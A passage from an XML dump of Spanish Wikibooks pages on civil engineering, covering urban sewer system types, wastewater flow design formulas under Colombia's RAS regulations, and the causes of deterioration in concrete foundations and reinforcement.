## [[Hidrosistemas/Acueductos/Estimación de la demanda/ | Estimación de la demanda]]
## [[Hidrosistemas/Acueductos/Análisis de Redes de Distribución/ | Análisis de Redes de Distribución]]
# [[Hidrosistemas/Drenaje Urbano/ | Drenaje Urbano]]
## [[Hidrosistemas/Drenaje Urbano/Alcantarillado Sanitario/ | Alcantarillado Sanitario]]
## [[Hidrosistemas/Drenaje Urbano/Alcantarillado Pluvial/ | Alcantarillado Pluvial]]
## [[Hidrosistemas/Drenaje Urbano/Sistemas Dispersos/ | Sistemas Dispersos]]

== Otros Wikilibros afines==
* [[Ingeniería de aguas residuales]]

{{Estantes|Ingeniería Civil}}</text>
      <sha1>8gey0dm2gsg7kqmkxcn7yguhr6mvj11</sha1>
    </revision>
  </page>
  <page>
    <title>Hidrosistemas/Drenaje Urbano</title>
    <ns>0</ns>
    <id>17135</id>
    <revision>
      <id>429998</id>
      <parentid>427340</parentid>
      <timestamp>2026-08-02T09:52:09Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429998</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="4183" sha1="84w1rmn7lu5pg4vj12ws7k7t6mllgmn" xml:space="preserve">== Historia de los Alcantarillados ==
La historia de los alcantarillados se origina desde los primeros asentamientos humanos. La concentración demográfica fue razón para la construcción de estructuras que facilitaran el drenaje de aguas lluvias. Vemos por ejemplo, cómo en el Imperio Romano, los sistemas de alcantarillados fueron diseñados para drenar exclusivamente aguas pluviales.

Habiendo resuelto el problema de evacuación de aguas pluviales, el alto índice de enfermedades a nivel mundial durante el siglo XIX hizo que el hombre necesitara deshacerse de las aguas residuales y residuos sólidos de las ciudades. Este fue el comienzo de la utilización de sistemas de alcantarillados como alternativa de drenaje de aguas y sólidos residuales.
[[File:Tabla 1 - Historia de los Alcantarillados.JPG|thumb|300px|right|Esquema de sucesos históricos que llevaron al hombre a la construcción o planeación de sistema de alcantarillado para aguas y sólidos residuales. Tomado de Organización Panamericana de la Salud/Organización Mundial de la Salud (OPS/OMS). Alcantarillado y Tratamiento de Aguas Residuales. ]]

===Esquemas Tubulares===
Debido a los problemas de salubridad, se le ha dado énfasis a los sistemas tubulares de evacuación de aguas ya sea residual o por escorrentía.
[[Imagen:Figura 1 - Esquema Tubular.JPG|thumb|300px|right|Esquemas Tubulares: Sección con mejor capacidad hidráulica (izquierda), sección con mejor comportamiento hidráulico para arrastre de sólidos (centro), sección más utilizada en la actualidad (derecha).]]

==Tipos de Sistema de Alcantarillado==
===Separado===
Un sistema de alcantarillado separado se basa en manejar las aguas pluviales y residuales en sistemas de tubería separados. Regularmente, el sistema de tubería de aguas residuales termina en una planta de tratamiento (WTP: Water Treatment Plant) y el de aguas pluviales es llevado directamente a una fuente natural de agua.
Cabe destacar que los diámetros de tubería de ambos sistemas difieren. Debido a los altos caudales traídos por lluvias, las tuberías del sistema de agua pluvial deben ser lo suficientemente grande para soportarlas. Para esto, el diseño de las tuberías y el sistema de aguas pluviales se realiza utilizando un período de retorno que dependerá de las condiciones del lugar y el período de diseño del sistema. Por otro lado, dado que los caudales de aguas residuales son bajos, el  diámetro de las tuberías del sistema es mucho menor al de las aguas pluviales.

===Combinado===
En un sistema de alcantarillado combinado, las aguas pluviales y residuales se conducen por un mismo sistema de tubería. Para que en caso de lluvias, la planta de tratamiento no necesite tratar grandes cantidades de agua, es necesario diseñar y construir una serie de aliviaderos (CSO: Combined Sewer Overflows) cuyo principio es básicamente separar las aguas pluviales de las residuales. Al final, se busca que las residuales continúen su transcurso hacia una WTP y las pluviales a una fuente natural de agua.
Dado que las aguas pluviales son menos densas, el CSO busca captar las láminas superiores del caudal que pasa por las tuberías. Aunque en teoría el principio de los CSO funciona, en la práctica, dada las altas velocidades y la presencia de sustancias de baja densidad (como sólidos en suspensión, coloides, espumas, aceites etc.), el uso de los CSO ha traído grandes polémicas por contaminación de las fuentes naturales de agua.

==Sistema Separado vs. Sistema Combinado==
[[Imagen:Tabla 2 - Sistema Separado vs. Sistema Combinado.JPG|thumb|200px|left|Tabla comparativa de los sistemas de alcantarillado separado y combinado.]]
===Híbrido===
El sistema de alcantarillado híbrido no es más que la combinación de sistemas separados y combinados. Este sistema se presenta en poblaciones cuyo sistema de alcantarillado se ha ido construyendo por etapas durante el transcurso del tiempo. Dada las diferentes condiciones económicas y necesidades de construcción de cada una de las etapas, el sistema de alcantarillado tiende a no ser exclusivamente separado o combinado dando como resultado un sistema híbrido.

{{AutoCat}}</text>
      <sha1>84w1rmn7lu5pg4vj12ws7k7t6mllgmn</sha1>
    </revision>
  </page>
  <page>
    <title>Hidrosistemas/Drenaje urbano/Alcantarillado sanitario</title>
    <ns>0</ns>
    <id>17138</id>
    <revision>
      <id>429999</id>
      <parentid>427343</parentid>
      <timestamp>2026-08-02T09:52:11Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429999</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="5404" sha1="j9rbijiqzsd2yh4yia0ssskwknfra2x" xml:space="preserve">==Caudal medio diario de aguas residuales (QMD)==
Se obtiene al sumar el caudal producido por hogares (Qdoméstico), el caudal producido por la industria (Qindustrial), el caudal producido por el área comercial (Qcomercial) y el caudal producido por el resto de instituciones que no están comprendidas en las anteriores categorías, tales como escuelas, hospitales etc. (Qinstitucional).

&lt;math&gt;QMD = Q_{domestico} + Q_{industrial} + Q_{comercial} + Q_{insitucional}&lt;/math&gt;

El QMD no es en si un parámetro de diseño de sistemas de drenaje, pues no precisa los momentos del día donde el caudal es mayor. Lo que se busca con el QMD es encontrar un Caudal Máximo Horario (QMH) del área a la cual donde se requiere diseñar un sistema de drenaje. 
Para encontrar el QMH solo hace falta multiplicar el QMD por un factor F, conocido como factor de mayoración, de la siguiente manera:

&lt;math&gt;QMH=F*QMD&lt;/math&gt;

Este factor F ha sido propuesto por varios autores desde diferentes enfoques:
Harmon:&lt;math&gt;F=1+ \frac {14} {4+P^{0.5}}&lt;/math&gt;, donde P representa el número de habitantes (en miles de habitantes).

Babbit:&lt;math&gt;F = \frac {5} {P^{0.2}}&lt;/math&gt;, donde P representa el número de habitantes (en miles de habitantes).

Los Ángeles: &lt;math&gt; F= \frac {3.53} {QMD^{0.0914}}&lt;/math&gt;, donde QMD esta entre 2.8 y 28,400 L/s.

Usualmente F es mayor a 1.4 y puede ser calculado por microcuencas o localmente.

[[Imagen:Caudalmediodiario.jpg|thumb|300px|right|QMD a partir de la una curva de Caudal total vs. tiempo]]

Es el resultado de la suma del Caudal Máximo Horario (QMH), el caudal perdido debido a las posibles conexiones erradas en el sistema (Qconexiones erradas) y el caudal suministrado al sistema debido a posibles infiltraciones a lo largo de la red de drenaje (Qinfiltraciones). 

&lt;math&gt;QDT=QMH+Q_{infiltraciones}+Q_{conexiones erradas}&lt;/math&gt;, sin embargo, se recomienda que este caudal nunca sea menor a 1,5L/s.

==Recomendaciones del RAS (Reglamento de Agua Potable y Saneamiento Básico de Colombia)==
===Período de Planeamiento===
El RAS recomienda periodos de diseño de acuerdo con el Nivel de Complejidad de la zona donde se planea construir el sistema de drenaje, tal como se ve en la siguiente tabla:

Nivel de complejidad del sistema		   Período de planeamiento en años 

Bajo y medio							 15				

Medio alto							 20

Alto								 25

===Diámetros de las tuberías=== 
En cuanto a los diámetros mínimos de tuberías, el límite mínimo debe ser de 200mm. (8’’), aunque en sistemas de complejidad bajos se pueden utilizar hasta 150mm. (6’’). 
===Velocidades mínimas===
Deben ser superiores a los 0.45 m/s para evitar la acumulación de sedimentos en las tuberías, aunque puede llegar a ser 0.4m/s en sistemas simplificados.
===Esfuerzos máximos en tuberías=== 
No deben ser superiores a 1.5Pa y 1Pa en sistemas simplificados.

===Generación de sulfuros===
Al descomponerse, la materia orgánica produce entre otros, ácido sulfhídrico (H2S) y ácido sulfúrico (H2SO4). La acción corrosiva de ambos compuestos, deteriora las paredes de las tuberías, causando infiltraciones y fugas. 

&lt;math&gt;Z=3(DBO5 ) (1.07)^{(T^'-20)} S^{-0.5} Q^{-1/3} \frac {P} {H}&lt;/math&gt;

Donde DBO5 es la demanda biológica de oxigeno a los 5 días, es decir, la cantidad de oxigeno que se necesita para descomponer la materia orgánica.

===Dotación mínima de aguas domésticas===
Depende del nivel de complejidad del sistema. 

Nivel de complejidad del sistema	        Dotación neta mínima		 Dotación neta máxima
Bajo						100 L/(hab*día)		        150 L/(hab*día)
Medio						120 L/(hab*día)		        175 L/(hab*día)
Medio alto					130 L/(hab*día)		        ------		
Alto						150 L/(hab*día)		        ------
En cuanto a la generación de aguas residuales, estás se calculan teniendo en cuenta un Factor de Retorno (X), el cual, al multiplicarlo por la cantidad de agua potable suministrada, arroja un porcentaje de agua residual. Es decir:
&lt;math&gt;G'=X*G&lt;/math&gt;
X varía en cada país e incluso dentro de un mismo país. Depende de la cantidad de jardines de los hogares, y del nivel de complejidad. Por ejemplo, en Estados Unidos, X es aproximadamente 0.6. En Reino Unido, X varia entre 0.95. En Colombia, X varía entre 0.7 y 0.85, aumentando con el nivel de complejidad del sistema.

	Aguas residuales industriales
Nivel de complejidad del sistema			Contribución industrial (L/s*Ha de industria) 
Bajo										0.4		
Medio										0.6
Medio alto									0.8
Alto									      1.0 – 1.5

===Aguas residuales comerciales e institucionales===
Los valores varían entre 0.4 y 0.5 L/(s*Ha).

===Infiltraciones=== 
Son producidas por fallas en las tuberías del sistema. Permiten el ingreso de aguas subterráneas (Nivel freático) y de otras fuentes. Su valor depende del nivel de complejidad, como se puede observar en la siguiente tabla:

===Entradas erradas de agua===
Son causadas por conexiones del sistema pluvial al sistema residual y puede aumentar el caudal durante una tormenta.Se calculan como sigue:

====Aportes máximos por conexiones erradas consistema pluvial====
Aportes máximos por drenaje domiciliario de aguas lluvias sin sistema pluvial

Medio alto y alto 				0,1 (L / s⋅ha)

Bajo y medio 				        0,2 (L / s⋅ha)

Nivel de complejidad del sistema

Medio alto y alto 				 2 (L / s⋅ha)
Bajo y medio 				         2 (L / s⋅ha)

{{AutoCat}}</text>
      <sha1>j9rbijiqzsd2yh4yia0ssskwknfra2x</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Cimentaciones/Problemática</title>
    <ns>0</ns>
    <id>17327</id>
    <revision>
      <id>430113</id>
      <parentid>168259</parentid>
      <timestamp>2026-08-02T11:43:04Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430113</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="35145" sha1="lb5dlvbsbs3udvdl9wxbj4kfy88g50k" xml:space="preserve">== Introducción ==

La palabra patología, etimológicamente hablando, procedede las raíces griegas pathos y logos, y se podría definir, en términos generales, como el estudio de las enfermedades. Por extensión la patología constructiva de la edificación es la ciencia que estudia los problemas constructivos que aparecen en el edificio o en alguna de sus unidades con posterioridad a su ejecución.

De todos los posibles tipos de patología que puede sufrir la edificación, las estadísticas demuestran que son las patologías ligadas a las cimentaciones las que mayores costes globales conllevan. Además tienen gran repercusión social, lo que las hace más notorias: por la complejidad propia de su reparación, porque suponen una fuerte alteración y hasta interrupción del uso del inmueble, y porque suelen involucrar a colindantes e incluso poderes públicos. Urge como en ningún otro caso determinar las causas y cuanto antes dar una solución al problema.

Sin embargo la diagnosis de este tipo de patologías no es ni mucho menos inmediata. Deben analizarse los síntomas, esencialmente grietas y movimientos sufridos por el edificio (giros, asientos, desplazamientos, etc) para de ellos deducir qué mecanismo los ha originado. A la vista de la cimentación existente y del conocimiento geotécnico del terreno de apoyo, se podrán deducir las causas del comportamiento conjunto estructura-terreno-cimiento que son el verdadero origen de la patología producida.

Es muy importante seguir esta metodología, porque sino la reparación se quedará en algo estético o superficial. La patología se reproducirá superficialmente y lo que es más grave continuará su proceso de deterioro más oculto, con lo que unas simples grietas en paramentos mal diagnosticadas pueden llevar, en último extremo, al colapso del inmueble.

Finalmente, conocida la causa se diseñarán las medidas reparadoras a adoptar. Éstas pueden ir desde la actuación sobre la estructura propiamente dicha, a las modificaciones de las propiedades geotécnicas del terreno (tratamientos de mejora y refuerzo), pasando por los conocidos recalces de la cimentación existente.

Todo edificio con problemas en la cimentación ofrece, tarde o temprano y de forma más o menos manifiesta, unas lesiones o síntomas apreciables a simple vista. Hay casos en los que se sabe que el edificio puede tener problemas, con lo que se pueden tomar las precauciones oportunas.

La observación por técnicos competentes de la aparición de dichas lesiones, facilita su inmediata interpretación e intervención. Pero en la mayoría de los casos, el conocimiento de los fallos en la cimentación se produce cuando ya existen daños en el edificio, a veces de gran importancia, con la aparición de lesiones sintomáticas claramente apreciables y detectables por cualquier persona no especializada.

:CIMENTACIONES. En el caso de las cimentaciones, deberemos asegurarnos de su integridad mecánica (roturas) frente a posibles agresiones de los componentesdel suelo, así como su integridad química frente a posibles agresiones de los componentes del suelo, en especial, nivel freático, aparición de sulfatos, rotura de conductos de saneamiento, etc. La acción fundamental será pues, la observación periódica.

:CONTENCIONES. Los procesos patológicos a vigilar son muy parecidos a los anteriores y sólo cabe añadir, en relación a su integridad mecánica, la posible deformación de los muros con aparición de alabeos y desplomes. Se debe realizar una observación periódica de, al menos: protección superior (albardillas), protección superficial general, si existía (revocos, pinturas, chapados, etc), y armaduras superficiales en las de hormigón armado (reflejo).


== Propiedades Constructivas ==


=== Sistemas constructivos: cimentaciones y contenciones de hormigón armado ===

*[[Patología de la edificación/Cimentaciones/Superficiales/Problemática|Cimentación superficial (Acceso directo a Cimentación Superficial/Problemática)]]
*[[Patología de la edificación/Cimentaciones/Muros/Problemática|Muros de Contención (Acceso directo a Muros/Problemática)]]
*[[Patología de la edificación/Cimentaciones/Pilotes/Problemática|Pilotes y Pantallas (Acceso directo a Pilotes/Problemática)]]


=== Materiales: Hormigón Armado: Hormigón y Acero ===

==== Hormigón ====

Contiene agua en distintos estados: agua de gel, que es el componente básico de la masa, agua intercristalina, agua capilar y agua de absorción, que rodea a los áridos creando meniscos. En general, en el hormigón, las fisuras por retracción se producen como consecuencia de una pérdida de agua en su masa, hecho que puede ocurrir porque el material no permanezca en ambiente húmedo (pérdida de parte del agua capilar y absorbida) o porque esté expuesto a temperaturas elevadas (pérdida de agua de gel y agua intercristalina). En cualquier caso, de manera global se puede decir que las fisuras por retracción que se producen en el hormigón están vinculadas a los siguientes factores:

*'''Constitución de la Pasta'''. Es más fácil que aparezcan fisuras en los hormigones fabricados con los cementos más resistentes y rápidos o con áridos finos.
*'''Resistencia a Tracción del Hormigón'''. En los elementos en que no sea posible el libre acortamiento, aparecerán fisuras cuando se supere la tensión de tracción en el hormigón.
*'''Elongabilidad del Hormigón''' (capacidad de deformarse sin fisurar). Experimentalmente se ha demostrado que en hormigones poco curados y con alta relación agua/cemento la elongabilidad se incrementa, hecho que indica que los buenos hormigones son más frágiles.
*'''Dimensiones de los Elementos'''. Las fisuras serán más numerosas en los elementos de espesor reducido, mientras que su importancia aumentará cuanto más rígida sea la estructura.

Hay que indicar que el hormigón armado posee una característica peculiar, ya que debido a su estructura interna –una armadura capaz de absorber tracciones– puede retener los movimientos deformantes y dejar en fisuras superficiales lo que en una fábrica serían grietas. Sin embargo, el gran peligro del hormigón armado es el agua, cuyo aumento en su interior, ya sea en forma gaseosa (vapor atmosférico) o líquida (agua de lluvia), puede provocar la oxidación de las armaduras.

Este hecho hará que los aceros interiores aumenten de volumen (de 8 a 10 veces con respecto al inicial) y, por tanto, que el hormigón que está en contacto con ellos se vea sometido a una serie de esfuerzos que, en ocasiones, no es capaz de resistir y que darán lugar a la aparición de graves grietas.

Las causas de las alteraciones y las patologías que pueden generarse en el hormigón tienen su origen en una gran diversidad de factores. Es posible realizar una clasificación de las causas según su origen:

*PATOLOGÍA DERIVADA DE LOS COMPONENTES DEL HORMIGÓN.

*PATOLOGÍA DERIVADA DE LA FABRICACIÓN Y EJECUCIÓN.

*INFLUENCIA DEL AMBIENTE. DETERIORO DEL HORMIGÓN POR AGENTES EXTERNOS:
**QUÍMICOS
**FÍSICOS

*PATOLOGÍA ORIGINADA POR DEFECTOS Y DETERIORO DEL ACERO.

En el caso del hormigón armado, juega también como factor fundamental no solo su protección física sino también su composición química, que es la que permite correcta protección y pasivación de la armadura.

Los defectos del hormigón están ligados a los defectos de sus componentes, por tanto estos deben cumplir una serie de características, que veremos a continuación, que eviten que se produzcan en él defectos mas o menos graves, a corto o largo plazo.


===== Cemento =====

:El cemento es el material fundamental del hormigón, ya que condiciona muchos aspectos básicos del mismo. Es el factor que incide directamente en la resistencia, que está en función de la relación agua/cemento. Pero a la vez, su contenido es fundamental para proveer de la protección alcalina que requieren las armaduras incorporadas a los elementos de hormigón armado.
:Por tanto, la relación agua/cemento como el contenido en cemento condicionan la resistencia y durabilidad de los elementos de hormigón.
:Existen diversos tipos de cemento y es necesario tener en cuenta el nivel de agresividad ambiental en la selección del tipo adecuado. Por ejemplo, se han producido daños en construcciones de hormigón por ataques de sulfatos disueltos en agua. Si bien la mejor condición que puede tener un hormigón para resistir ataques es su compacidad, la no utilización de cementos del tipo adecuado se ha asignado como causa básica de tales daños.


===== Áridos =====

:Los áridos empleados en la fabricación de hormigón condicionan su durabilidad y resistencia. Los aspectos fundamentales a tener en cuenta son ciertas cualidades de '''composición de los finos, la granulometría y la compacidad'''.


:'''A.''' Los '''áridos utilizados en el hormigón''' no deben ser activos en contacto con el cemento. A la vez deben mantenerse estables a la acción de los agentes externos con los que va a estar relacionado.
:El contenido de sustancias como limos, arcillas, materia orgánica, entre otros, puede ser nocivo ya que limitan su adherencia a la pasta de cemento y debilitan las reacciones de fraguado y endurecimiento del hormigón. En la fabricación de hormigón pueden utilizarse arenas y gravas procedentes de yacimientos naturales, así como rocas machacadas, escorias siderúrgicas u otros materiales si su empleo se encuentra avalado por la práctica o si se han realizado los correspondientes ensayos en laboratorio.

:*Algunos áridos pueden reaccionar con el cemento generando productos expansivos que crean tensiones internas en la masa del hormigón y que afectan su resistencia mecánica y durabilidad.Entre los áridos que provocan estos efectos nocivos encontramos algunas variables de '''cuarzo amorfo''', tales como ópalos, cristobalitas, andesitas, tridimitas, que al combinarse con los álcalis del cemento producen compuestos de mayor volumen que destruyen al hormigón.
:*Los compuestos de '''azufre''' combinados con agua pueden dar lugar también a la formación de sulfoaluminatos expansivos. No es exclusivamente necesario que el agua sea líquida, basta con el agua de interposición, o incluso con una humedad ambiental abundante.
:*La presencia de '''arcilla''' en los áridos es un factor frecuente en los defectos de los hormigones. Al no tratarse de una lesión que tarde en manifestarse se suelen adoptar medidas inmediatas para su resolución, que la hacen pasar más desapercibida. Su presencia se debe, en general, a la falta de limpieza en explotaciones de mina o rio. Su efecto más inmediato es la irregularidad que introduce en la calidad de los hormigones y que genera, también, problemas de reconocimiento en los ensayos de control.
:*Las '''piritas y otros sulfuros en contacto con la atmósfera''' pueden oxidarse dando sulfatos que reaccionarán con el aluminato tricálcico del cemento, produciendo ettringita expansiva.En la fabricación del cemento, se adiciona yeso al clinker en el molino. Este yeso añadido reacciona antes de las 24 horas con parte del aluminato tricálcico dando ettringita. En muchas construcciones se ha empleado piritas como árido, dando en general muy mal resultado. Toda la bibliografía existente coincide en que las piritas no deben emplearse como áridos en hormigones. 


:'''B.''' La resistencia de un hormigón tiene una relación directa con la '''compacidad''' del árido utilizado en su fabricación. Esta es la relación entre el volumen real y el aparente del mismo.
:*A mayor compacidad menor será el volumen de huecos y por consiguiente menor será también la cantidad de pasta de cemento a emplear, con lo cual el hormigón resultará más económico. Por otra parte, a mayor compacidad de los áridos mayor será la durabilidad o salud del hormigón a lo largo del tiempo. Por lo tanto esta propiedad es fundamental en los hormigones y en los áridos que entran en su composición.


:'''C.''' La '''Granulometría''' de los áridos con los que se fabrica el hormigón: es una variable muy importante. Una granulometría incorrecta puede generar falta de compacidad en el hormigón.


===== Agua =====

:Los defectos relacionados con el agua como componente del hormigón pueden ser originados por dos causas diferentes. 
:*La primera causa es la utilización de aguas no potables o que contengan impurezas, que pueden originar problemas a corto y largo plazo 
:*La segunda tiene que ver con la dosificación y es el empleo de altas relaciones agua/cemento en el amasado.


:Dentro de la primer causa mencionada cabe diferenciar si el hormigón es en masa o armado. Los efectos patológicos producidos en el hormigón en masa por aguas que contienen impurezas, dentro de ciertos límites, no son relevantes, y puede que no aparezcan. No sucede lo mismo con el hormigón armado, donde la existencia de cloruros puede dar lugar a importantes corrosiones de armaduras aparte de manchas y eflorescencias superficiales. El empleo de aguas no adecuadas en el curado de los hormigones resulta más perjudicial todavía que en el amasado. Las normas establecen una serie de condiciones exigibles al agua, limitando por ejemplo su pH, las sustancias disueltas, contenidos en sulfatos, ión cloro, hidratos de carbono y sustancias solubles.

:*'''Aguas de mar''': pueden emplearse para el amasado de hormigones en masa, pero se ha de considerar su efecto negativo en la disminución de la resistencia, que puede llegar a ser del 15 % aproximadamente.

:*'''Sulfatos''': pueden tener un efecto doble afectando por un lado al propio hormigón, y por otra, a las armaduras. Los sulfatos contenidos en el agua reaccionan con el aluminato tricálcico del cemento dando lugar a ettringita expansiva (sulfoaluminato tetracálcico hidratado, también conocido como «sal de Candlot» o bacilo Michaelis). La expansión de la ettringita produce fisuración, hinchazón y desprendimiento progresivo del hormigón.

:*'''Hidratos de carbono''': pueden impedir el fraguado del hormigón aún en pequeñas cantidades. No deberán emplearse las aguas procedentes de azucareras o que hayan estado en contacto con azúcares, glucosas u otros hidratos de carbono. 

:*Es poco frecuente en la actualidad la utilización de '''aguas selenitosas''' en el amasado del hormigón. Los ataques por aguas selenitosas suelen provenir de '''subsuelos en contacto con cimentaciones'''.


===== Aditivos =====

:Los aditivos, considerados el cuarto componente del hormigón, son productos añadidos en el momento su elaboración. Su finalidad es modificar ciertas propiedades del mismo de forma positiva, tanto en estado fresco como una vez fraguado y endurecido.

:Podemos concluir entonces que los defectos del hormigón atribuibles a los aditivos pueden provenir de:
:*Deficiencia en la fabricación
:*Empleo inadecuado
:*Sobredosificación o dosificación insuficiente.


:DEFECTOS DERIVADOS DE LA FABRICACIÓN Y EJECUCIÓN DEL HORMIGÓN
:La ejecución puede afectar seriamente la calidad de un hormigón básicamente en los aspectos que conciernen a la durabilidad y la seguridad.
:La lesión que puede deducirse de esta se manifiesta generalmente en forma de disminución resistente del material y con la prestancia del mal aspecto tanto más grave cuanto más acusado sea.
:Su solución pasa por la prevención de esta circunstancia, a través de un correcto conocimiento de los principios de dosificación y fabricación por parte de los directores de obra, y de una adecuada cualificación de los operarios.

:Los factores que influyen en la variación de las características del hormigón y que pueden asignarse propiamente a la ejecución son:
:*'''Dosificación mal realizada''', por deficiencias en los sistemas y equipos de medida. Se destacan la dosificación del cemento y la incorrecta relación agua-cemento.
:*'''Transporte y vertido''', que produciendo segregación, no aseguran la homogeneidad de la masa y en consecuencia producen zonas poco compactas, coqueras o nidos de grava.
:*'''Compactación deficiente''', que conduce a una mala compacidad en el hormigón.


==== Acero ====

:Los principales defectos que puede presentar un acero para hormigón armado, son fundamentalmente:
:*Las impurezas.
:*Los defectos superficiales.
:*La corrosión superficial.


:'''Corrosión del acero'''
[[Imagen:Corrosion2.jpg|400px|thumb|right|Corrosión en acero]]

:Entre los fenómenos que afectan de forma negativa a las armaduras del hormigón armado, encontramos los que son producidos por los efectos de la humedad. Estos fenómenos, como la '''corrosión''' y la '''acritud''' afectan a las barras de acero en contacto con el medio ambiente.

:*La acritud en las barras de acero no suele ser un fenómeno muy importante, pero en aceros de pretensados puede ser determinante. Es un fenómeno que se produce por la introducción de hidrógeno en el cuerpo del acero. El hidrógeno puede introducirse y atacar al acero debido a un proceso de decapado del hierro en ácidos o bien por estar expuesto en un ambiente que contenga gases como el cianhídrico, sulfhídrico, etc. Las barras de acero afectadas por la absorción de hidrógeno se vuelven frágiles y se rompen ante la mínima solicitud de tracción.

:*La corrosión se produce por la formación de óxido de tipo laminar que al ser expansivo puede generar la rotura del hormigón circundante. 


:El deterioro del acero afecta al aspecto, a la sección y por consiguiente a la resistencia de dicho material.


:'''Protección'''

:En los hormigones, la corrosión se produce en las barras de acero, por lo cual la protección de las mismas es de gran importancia. Esta se realiza por medio del recubrimiento y por la incorporación de productos industriales que impidan el paso de humedad por capilaridad al interior de la masa del hormigón.

:La disminución de la sección de las barras de acero del hormigón por el efecto de la corrosión afecta decisivamente su resistencia mecánica, por lo tanto las armaduras en el hormigón armado deben estar protegidas por el recubrimiento.

:La alcalinidad del hormigón permite la formación sobre la superficie del acero, de una película pasivadora. Una vez que se ha formado esta delgada película de oxígeno y debido a su baja permeabilidad, evita el desarrollo del proceso electroquímico. Esta película es muy sensible con lo cual puede destruirse fácilmente si el hormigón es permeable, ya que el CO del aire puede entrar y reaccionar con el Ca, reduciendo la alcalinidad del hormigón.


== Solicitaciones Típicas ==
	
===ACCIONES MECÁNICAS===

La aplicación de una carga directa sobre un elemento constructivo implica una deformación. Si la carga provoca un esfuerzo mecánico demasiado intenso, la deformación tendrá como consecuencia la aparición de fisuras y grietas. De hecho, este tipo de fenómeno es el que origina la mayor parte de estas lesiones en los elementos estructurales y en los materiales adheridos a ellos. A continuación analizaremos las principales acciones mecánicas –cargas verticales y cargas no verticales– que pueden dar lugar a la aparición de fisuras y grietas. Por lo general, estas cargas las provocan los pesos que gravitan sobre un muro u otras estructuras portantes verticales y pueden dividirse en concargas (peso propio más cargas permanentes) y sobrecargas.

En definitiva, la incapacidad de los elementos estructurales de la construcción para asumir los esfuerzos de proyecto o las sobrecargas imprevistas pueden provocar tensiones demasiado intensas en los materiales y, en consecuencia, la formación de fisuras y grietas.

Estas lesiones se producen casi siempre en las estructuras que no son homogéneas y que ya tienen un deterioro interno, ya que debido a los esfuerzos de compresión, los materiales menos resistentes pierden cohesión y la carga se concentra en algunos puntos concretos, puntos donde la intensidad de la carga mecánica es muy superior a la capacidad de resistencia. Es lo que ocurre, por ejemplo, cuando en la planta baja de un edificio la carga se transmite a pocos soportes cuya sección es reducida si se compara con el resto de la estructura. Las '''cargas verticales''' pueden provocar distintas clases de fisuras y grietas por:

*TRACCIÓN: son perpendiculares al esfuerzo.
*COMPRESIÓN: paralelas al esfuerzo para compresión simple y curvas si existe momento.
*FLEXIÓN: pueden ser perpendiculares o inclinadas en función de la proximidad de la carga.
*PANDEO: es un caso particular de la flexión; las fisuras o grietas son perpendiculares a la directriz del elemento en el vano.
*CORTANTE: son las más dañinas debido a que su desarrollo es muy rápido.

[[Imagen:Cortantes_copia.jpg]][[Imagen:Flexion_traccion_copia.jpg]]

En cambio, las '''cargas no verticales''' son las que se transmiten a la estructura en una dirección distinta a la vertical. Los casos más importantes son las cargas inclinadas originadas por alguna parte de la estructura, que aparecen cuando la transmisión de carga se realiza a través de superficies de contacto no horizontales, como es el caso de los sillares de piedra de un arco o de una bóveda. La suma de cargas transmitidas de un sillar a otro produce una fuerza oblicua que puede afectar la estabilidad de la estructura y dar lugar a la aparición de fisuras y grietas. Las cargas oblicuas también se deben a cubiertas inclinadas sin vigas horizontales de atado, en cuyo caso el esfuerzo se concentrará en las vigas principales.


===ACCIONES QUÍMICAS===
AGENTES QUÍMICOS DE DEGRADACIÓN
Los materiales constructivos también pueden sufrir patologías de origen químico, que, en general, suelen consistir en reacciones químicas de sales, ácidos o álcalis que acaban produciendo algún tipo de descomposición del material afectado. A la larga, éste irá perdiendo su integridad, ya que las patologías de carácter químico afectan notablemente a la durabilidad de los materiales. En conjunto, las lesiones de origen químico se desarrollan a través de procesos claramente distintos a los de las patologías de carácter físico y mecánico, pero sin embargo, en ocasiones su sintomatología puede llegar a confundirse.

El hormigón es inmune generalmente al ataque en seco de sustancias químicas, pero puede ser atacado por ácidos, agua pura, y por diversas sustancias en disolución. También puede ser atacado por sustancias que se encuentran en el ambiente o en los elementos de hormigón, cuando se presentan condiciones de humedad ambiental.


El principal agente agresivo del hormigón es el agua, bien directamente o bien como vehículo de transporte de los agentes agresivos y ya que en el terreno nos podemos encontrar agua en forma de niveles freáticos estables o colgados, condensaciones bajo cimentaciones o escorrentía subterránea por riego o lluvia, incluíremos los daños originados por la agresividad de la misma al hormigón.

Las disoluciones de sustancias agresivas atacan al hormigón con mayor energía, cuanto mayor es su concentración, su temperatura o su presión. Generalmente, los ataques a través del agua líquida se dan en aquellos elementos que están en contacto con el suelo (muros, cimentaciones). Si las aguas agresivas están en movimiento, aumentará también el ataque.
En gran medida la durabilidad del material dependerá del grado de compacidad que posea. Y esto es así dado que la porosidad (red capilar) es la que permite la penetración de gases y humedad, con sus correspondientes sustancias disueltas, y por tanto es un factor acelerador de las agresiones externas. Sin embargo, la protección física no es la única.

La correlación que establece la porosidad de un hormigón con los mecanismos de transporte de los respectivos ataques químicos se puede esquematizar así:

*'''En el ataque ácido''', dependerá de la formación o no de una barrera de sustancias poco solubles y en consecuencia del coeficiente de difusión a través de la superficial de contacto.
*'''En la reacción alcali-árido''', al estar todas las sustancias que reaccionan en el interior del hormigón, la velocidad dependerá de la succión capilar de más cantidad de agua y de los coeficientes de difusión de iones alcalinos.
*'''En los ataques por sulfatos o cloruros''', el transporte de iones a través del líquido de los poros.
*'''En la lixiviación''' por aguas blandas tendrá incidencia la permeabilidad y la difusión.
*'''En la carbonatación''', la difusión moléculas gaseosas de CO2 y de oxígeno a través de los poros vacíos.


===== Ataque de Aguas Puras =====

:La '''lixiviación''' consiste en una forma de erosión de tipo químico por lavado más o menos continuo de sustancias propias del cemento hidratado. El caso más conocido es el del ataque por aguas más o menos puras. El principal efecto es la disolución de la portlandita, dado que su solubilidad es considerablemente elevada.
